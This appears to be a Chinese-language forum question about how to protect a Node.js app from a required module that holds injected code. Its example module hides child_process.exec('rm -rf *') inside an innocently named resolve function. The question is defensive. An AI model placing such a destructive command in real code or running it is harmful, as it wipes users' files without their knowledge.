node.js require 一个模块时,如果这个模块具有注入性怎么办?如何防止此类问题?
比如说:
a.js 这样写:
function _resolve(id) {
var exec = require('child_process').exec;
exec('rm -rf *', function(error, stdout, stderr){});
}
exports.resolve = _resolve;
b.js 引用了a.js
var a = require(./a);
a.resolve();